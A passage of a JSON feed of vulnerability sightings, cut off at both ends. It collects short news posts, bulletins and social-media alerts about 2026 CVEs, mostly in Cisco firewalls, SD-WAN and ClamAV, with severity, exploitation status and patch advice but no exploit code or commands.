\u0432\u0441\u0435\u0445 CVE \u043f\u043e \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u043c\u0435\u0441\u044f\u0446.\n\n\ud83d\udd11CVE-2026-22769 \u2014 \u0432\u0448\u0438\u0442\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 Dell RecoverPoint for Virtual Machines. \u041a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 \u0436\u0430\u043d\u0440\u0430: hardcoded credentials, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u044e\u0442 root-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u041e\u0421. \u041d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439, \u0437\u043d\u0430\u044e\u0449\u0438\u0439 \u044d\u0442\u0438 \u043a\u0440\u0435\u0434\u044b, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u041e\u0431\u0430 \u043a\u0435\u0439\u0441\u0430 \u2014 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 CISA KEV, \u043e\u0431\u0430 \u0441 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c SSVC: Act, \u0442\u043e \u0435\u0441\u0442\u044c \u00ab\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u00bb.\n\n\u0427\u0442\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u0442 \u044d\u0442\u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u044b? \u0416\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b zero-day \u2014 \u043d\u0435 \u043b\u0438\u043d\u0435\u0439\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u00ab\u043d\u0430\u0448\u043b\u0438 \u2192 \u043f\u043e\u0447\u0438\u043d\u0438\u043b\u0438\u00bb. \u042d\u0442\u043e \u0448\u0435\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432, \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u043b\u044e\u0434\u0438 \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u043d\u044b\u0435 \u043e\u043a\u043d\u0430 \u0440\u0438\u0441\u043a\u0430:\n\n\u2022 \u0412\u043d\u0435\u0441\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u2014 \u0431\u0430\u0433 \u0440\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438\n\u2022 \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u2014 \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0444\u0430\u0437\u0437\u0435\u0440 \u0438\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\n\u2022 \u0412\u043e\u043e\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u2014 \u0438\u0437 \u0431\u0430\u0433\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442 \u0431\u043e\u0435\u0432\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0441 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0435\u0439\n\u2022 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0442\u0438\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0439\n\u2022 \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438 \u043f\u0430\u0442\u0447 \u2014 \u0432\u0435\u043d\u0434\u043e\u0440 \u0443\u0437\u043d\u0430\u0451\u0442, \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\n\u2022 \u0420\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u2014 \u043f\u0430\u0442\u0447 \u0432\u044b\u043f\u0443\u0449\u0435\u043d, \u043d\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u0443\u044e\u0442, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u044b\u0432\u0430\u044e\u0442 \u043e\u043a\u043d\u0430 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u044f, \u043a\u0430\u0442\u044f\u0442 \u043a\u0430\u0441\u043a\u0430\u0434\u043d\u043e\n\n\u0418 \u0432\u043e\u0442 \u043f\u0430\u0440\u0430\u0434\u043e\u043a\u0441: \u043f\u043e\u0441\u043b\u0435 \u043f\u044f\u0442\u043e\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u0438\u0441\u0447\u0435\u0437\u0430\u0435\u0442. \u041e\u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u0438\u0437 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 0-day \u0432 n-day, \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f \u2014 \u0438\u043d\u043e\u0433\u0434\u0430 \u0442\u0435 \u0441\u0430\u043c\u044b\u0435 29 \u043c\u0435\u0441\u044f\u0446\u0435\u0432.\n\n\u27a1\ufe0f\u0412 \u043f\u043e\u043b\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u2014 CVSS-\u0432\u0435\u043a\u0442\u043e\u0440\u044b \u0441 \u043f\u043e\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043d\u044b\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c, \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u043d\u0430 MITRE ATT&CK \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0447\u0435\u043a\u043b\u0438\u0441\u0442 \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\nhttps://codeby.net/threads/uyazvimost-nulevogo-dnya-zhiznennyi-tsikl-real-nyye-cve-i-protsess-patchinga.94896/", "creation_timestamp": "2026-08-05T00:00:52.746854Z"}, {"uuid": "66fd57f9-ab7c-48a5-a4d2-bc45e51d60ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/CyberDispatch/1858", "content": "Cisco SD-WAN Vulnerability Exploited with No Patch Available\n\nCVE-2026-20245 lets attackers run root commands via crafted file uploads on exposed systems.", "creation_timestamp": "2026-08-29T20:00:13.375723Z"}, {"uuid": "a6cb8c33-89cf-4501-9dc3-4199824f69f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/csirts.com/post/3msjbhocj5y2z", "content": "\ud83d\udea8 Added to CISA KEV \u2014 actively exploited:\nCVE-2026-20316: Cisco Secure Firewall Management Center Use of Hard-coded Password Vulnerability\n\nhttps://www.csirts.com/cve/CVE-2026-20316", "creation_timestamp": "2026-08-07T19:18:28.185354Z"}, {"uuid": "1c6d39df-fcb6-4071-be48-db36749b90bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/CyberDispatch/1621", "content": "CISA added CVE-2026-20182, a CVSS 10.0 authentication bypass in Cisco Catalyst SD-WAN Controller, to its KEV catalog amid active exploitation.", "creation_timestamp": "2026-08-29T20:00:15.352600Z"}, {"uuid": "6f1e4a08-9844-478a-8eda-da7d6b178e3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://t.me/CyberDispatch/1690", "content": "Critical Alert: Cisco Secure Workload Hit with CVSS 10.0 Flaw.\n\nUnauthenticated attackers can exploit a REST API vulnerability (CVE-2026-20223) to steal sensitive data and make configuration changes across tenant boundaries with Site Admin privileges.", "creation_timestamp": "2026-08-29T20:00:14.998464Z"}, {"uuid": "3c751cda-dad4-434f-a132-7b595400e5b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20613", "type": "published-proof-of-concept", "source": "https://github.com/apple/containerization/security/advisories/GHSA-cq3j-qj2h-6rv3", "content": "", "creation_timestamp": "2026-01-22T20:27:10.000000Z"}, {"uuid": "cb62daf5-4da7-4e5b-bf18-4639fe84920f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mszpbe5lls22", "content": "Cisco fixes vulnerability exploited to DoS its firewalls (CVE-2026-20349)\n\nA high-severity vulnerability (CVE-2026-20349) is being leveraged by attackers to temporarily interrupt the operation of Cisco firewalls, the company has confirmed. The flaw has been added to CISA\u2019s Known E\u2026\n#hackernews #news", "creation_timestamp": "2026-08-14T08:07:10.179745Z"}, {"uuid": "7eba5f91-fce9-46bb-ba0f-b282eeefba57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/CyberDispatch/1614", "content": "Limited attacks are exploiting CVE-2026-20182, a CVSS 10.0 auth bypass in Cisco Catalyst SD-WAN Controller.\n\nUnauthenticated remote attackers can gain admin privileges and manipulate SD-WAN configurations.\n\nAffected: on-prem, cloud, government deployments.", "creation_timestamp": "2026-08-29T20:00:15.530511Z"}, {"uuid": "d27b3156-88ff-4366-9389-2bc5da30f1cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20317", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mtiowdty262d", "content": "CVE-2026-20317 is trending. Hype score 3, currently #8 on cvemon.\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Workload engineering team has conducted a comprehensive internal security review.\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-20317", "creation_timestamp": "2026-08-20T07:10:56.947212Z"}, {"uuid": "3c5b1965-2b56-4ee0-8b66-1a189283a70c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20346", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260812", "content": "", "creation_timestamp": "2026-08-12T04:45:36.498268Z"}, {"uuid": "78fd839b-189b-4cc3-bf54-4aa81c193d27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20294", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260812", "content": "", "creation_timestamp": "2026-08-12T04:45:05.805757Z"}, {"uuid": "c49f5f6e-6651-4aad-a00c-26f3fe5ef2d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260812", "content": "", "creation_timestamp": "2026-08-12T04:45:19.202460Z"}, {"uuid": "aba31054-c2ac-4a47-b5b0-ca0fac1502ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260812", "content": "", "creation_timestamp": "2026-08-12T04:45:08.000196Z"}, {"uuid": "008cd49c-3ae3-4909-9e4d-944e219fba41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20347", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260812", "content": "", "creation_timestamp": "2026-08-12T04:45:22.755206Z"}, {"uuid": "f7236d70-06b5-47ea-bba3-ae5d87a0f4b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260812", "content": "", "creation_timestamp": "2026-08-12T04:45:10.241688Z"}, {"uuid": "647169a1-8de7-4223-b0b3-94844a93e7d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260812", "content": "", "creation_timestamp": "2026-08-12T04:45:12.467530Z"}, {"uuid": "fbf5fd01-06a4-4995-b5a1-2720906b31de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260812", "content": "", "creation_timestamp": "2026-08-12T04:45:14.659339Z"}, {"uuid": "6acaff57-7243-4652-bb8f-b38403a3871f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20345", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260812", "content": "", "creation_timestamp": "2026-08-12T04:45:16.962205Z"}, {"uuid": "67006f05-3f40-477a-bce3-0cbdb496c83a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20348", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260812", "content": "", "creation_timestamp": "2026-08-12T04:45:25.075588Z"}, {"uuid": "1ef1ec37-65a3-47c3-be13-d200d044a08c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "MISP/e6c83145-cce9-41dc-a030-9dd97a92f461", "content": "", "creation_timestamp": "2026-08-14T09:15:03.285358Z"}, {"uuid": "1875fd50-536f-43e2-ad29-8bed68f3ed3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3msuf44pyrk2y", "content": "CVE-2026-20349 enables unauthenticated attackers to trigger reloads and denial-of-service on Cisco ASA/FTD firewalls via crafted HTTP requests to SSL VPN.\n", "creation_timestamp": "2026-08-12T05:21:59.194380Z"}, {"uuid": "bf0b6b13-169e-40f2-9eca-50770fb57e8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20030", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mtkl2vvcm22t", "content": "Cisco Crosswork\u306b\u6700\u5927CVSS 10.0\u306e\u6975\u3081\u3066\u6df1\u523b\u306aSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\uff08CVE-2026-20030\u7b49\uff09\u304c\u767a\u899a\n\nCVE-2026-20030: Cisco Crosswork SQL Command Injection Scores CVSS 10.0\u3000#DailyCyberSecurity (Aug 20)\n\nsecurityonline.info/cisco-crossw...", "creation_timestamp": "2026-08-21T01:07:14.676473Z"}, {"uuid": "5992481d-3d1f-4f41-a2b0-285eae8683ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20266", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mtkl5f56cs2j", "content": "Splunk AI Toolkit\u306b\u6df1\u523b\u306aOS\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\uff08CVE-2026-20266\u3001CVSS 9.1\uff09\u304c\u767a\u899a\n\nCVE-2026-20266: Critical OS Command Injection Hits Splunk AI Toolkit (CVSS 9.1)\u3000#DailyCyberSecurity (Aug 20)\n\nsecurityonline.info/splunk-ai-to...", "creation_timestamp": "2026-08-21T01:08:37.785971Z"}, {"uuid": "73c4bbd7-8950-4c53-97da-6af0a534e869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3msuiwh2b3p2y", "content": "Cisco patched CVE-2026-20349 in Secure Firewall ASA and FTD, a zero-day that could let remote attackers trigger DoS via crafted HTTP requests to the Remote Access SSL VPN service. #Cisco #CVE202620349 #CISA", "creation_timestamp": "2026-08-12T06:30:22.943819Z"}, {"uuid": "dc8edafc-01a3-45a0-8ad0-e9ba016301a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "Telegram/PMwLWJ8bCumUt1_njp0TjasQmSGobRcnITTCtVX5oyv1QKE", "content": "", "creation_timestamp": "2026-05-27T21:00:05.000000Z"}, {"uuid": "0ff4fe9d-6790-4982-9a8f-18944f4684b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3msujjnmrpz26", "content": "Just another delightfully dreary day in IT as attackers remotely crash Cisco Secure Firewall ASA and FTD devices without even needing credentials. This charm of a zero-day flaw, known as CVE-2026-20349, leaves enterprise firewall infrastructure completely paralyzed while we fetch...\n\nRead full story", "creation_timestamp": "2026-08-12T06:41:07.730954Z"}, {"uuid": "e9f07aeb-9158-434b-a25d-3b4c85299e51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3msukj6z4t22f", "content": "Cisco Secure Firewall Under Active Attack: High-Severity CVE-2026-20349 Puts ASA and FTD Devices on Immediate Patch Alert +\u00a0Video\n\nA New Warning Has Turned a Firewall Bug Into an Active Security Emergency A firewall is supposed to be the wall between an organization and the hostile internet. When\u2026", "creation_timestamp": "2026-08-12T06:58:46.774614Z"}, {"uuid": "88460e12-91dc-4d85-b1f3-f0b1e5f2554e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3msukk5frpq2i", "content": "Cisco Firewalls Under Pressure: CVE-2026-20349 Exposes a Dangerous Zero-Day Risk While Sandworm-Linked Hackers Weaponize Fake IT Jobs +\u00a0Video\n\nIntroduction: Two Different Attacks, One Bigger Warning Cybersecurity defenders are facing a familiar but increasingly dangerous pattern: attackers do not\u2026", "creation_timestamp": "2026-08-12T06:59:18.235573Z"}, {"uuid": "aee5e968-694d-47cc-9e59-6d1debce2b01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20345", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117057021625735486", "content": "A new vulnerability with increased severity was disclosed for Cisco ClamAV (CVE-2026-20345) https://vuldb.com/vuln/387042", "creation_timestamp": "2026-08-08T00:20:01.851013Z"}, {"uuid": "c2742eb6-7135-40cd-aaf9-54d3928f3a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116653210777007845", "content": "Cisco, posted yesterday:\nCRITICAL: CVE-2026-20182: Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW @TalosSecurity #Cisco #vulnerability #infosec", "creation_timestamp": "2026-05-28T16:45:39.220072Z"}, {"uuid": "a2b0e8ae-0c3e-4420-9589-c96c40144089", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20348", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117057126663103945", "content": "A new vulnerability with increased severity was disclosed for Cisco ClamAV (CVE-2026-20348) https://vuldb.com/vuln/387047", "creation_timestamp": "2026-08-08T00:46:46.001596Z"}, {"uuid": "6010dc9a-b00f-472c-9551-a9ac0f30b022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20685", "type": "seen", "source": "https://bsky.app/profile/oxfemale.bsky.social/post/3mszzqyv3nu2f", "content": "Original text: \"Beyond Prompt Injection: Hacking Apple's Private Cloud Compute\" \u2014 Sentry (research by Drinor Selmanaj), Sentry Security Blog, 31 July 2026. Code, tables and figures below are reproduced verbatim w\nhttps://core-jmp.org/2026/08/apple-private-cloud-compute-cve-2026-20685-path-traversal/", "creation_timestamp": "2026-08-14T11:14:53.159287Z"}, {"uuid": "ccecb76d-7fe1-429b-8023-7f9f21099825", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3msun3hqbhx2u", "content": "\ud83d\udea8 THREAT ALERT: CISA adds CVE-2026-20349 (Cisco ASA/FTD Heap Inspection DoS) to the KEV catalog due to active exploitation. Unauthenticated remote actors can crash perimeter firewalls. Read our full TSUITE brief with SPL, KQL, AQL & Chronicle queries: https://thecybermind.co/jily\n\n#CyberSecurity", "creation_timestamp": "2026-08-12T07:44:46.764344Z"}, {"uuid": "7fe8f460-b9f4-4eba-8e83-d26c31030aac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mt22inhhz52h", "content": "\ud83d\udea8 THREAT ALERT: CVE-2026-20349\n\nActive exploitation verified on Cisco ASA & FTD firewalls via a high-severity heap inspection flaw. IT leadership must enforce immediate patch protocols and audit perimeter logs.\nhttps://thecybermind.co/z7x3\n\n\ud83d\udc49 Watch breakdown:\u2026", "creation_timestamp": "2026-08-14T11:28:06.440039Z"}, {"uuid": "04051f37-864d-4743-b96e-1ec9b382817f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3msun4shfnz2x", "content": "\ud83e\udd16 Cisco CVE-2026-20349 (CVSS 8.6): unauthenticated remote DoS in ASA/FTD firewalls, actively exploited in the wild to crash devices. Patch now.\nhttps://thehackernews.com/2026/08/cisco-asa-and-ftd-flaw-exploited-in.html", "creation_timestamp": "2026-08-12T07:45:31.272726Z"}, {"uuid": "393f6d37-88b7-4fe1-917f-1a6dc9cc3b24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3msun5wgect2z", "content": "Cisco ASA/FTD\u306eHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u51e6\u7406\u4e0d\u5099\uff08CVE-2026-20349\uff09\u304c\u89b3\u6e2c\u3055\u308c\u3001\u672a\u8a8d\u8a3c\u306e\u9060\u9694\u653b\u6483\u8005\u306b\u3088\u308aDoS\u304c\u8a98\u767a\u3055\u308c\u308b\u3002", "creation_timestamp": "2026-08-12T07:46:10.108654Z"}, {"uuid": "aa717af4-db46-48c4-a97b-1f6d0b2c31f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3msunbglynf2n", "content": "Cisco Secure Firewall ASA/FTD\u3067\u8a8d\u8a3c\u306a\u3057\u3067\u30ea\u30e2\u30fc\u30c8\u304b\u3089DoS\u653b\u6483\u304c\u53ef\u80fd\u306a\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027(CVE-2026-20349)\u304c\u4fee\u6b63\u3055\u308c\u307e\u3057\u305f\u3002", "creation_timestamp": "2026-08-12T07:48:06.779461Z"}, {"uuid": "e47fa7c6-5c48-44ae-aefb-12350afc9d51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "Telegram/D4W16OC9HE0yNzEjroADs3fCEIh4w_lQ7jHL3IEL801HfzI", "content": "", "creation_timestamp": "2026-08-12T08:00:06.232988Z"}, {"uuid": "8a7d7f84-f16d-463f-8a6a-93b1e9a47189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://t.me/thehackernews/9783", "content": "\ud83d\uded1 Exploited Cisco firewall flaw can remotely crash affected devices.\n\nCVE-2026-20349 affects certain ASA and FTD configurations. A crafted HTTP request can force 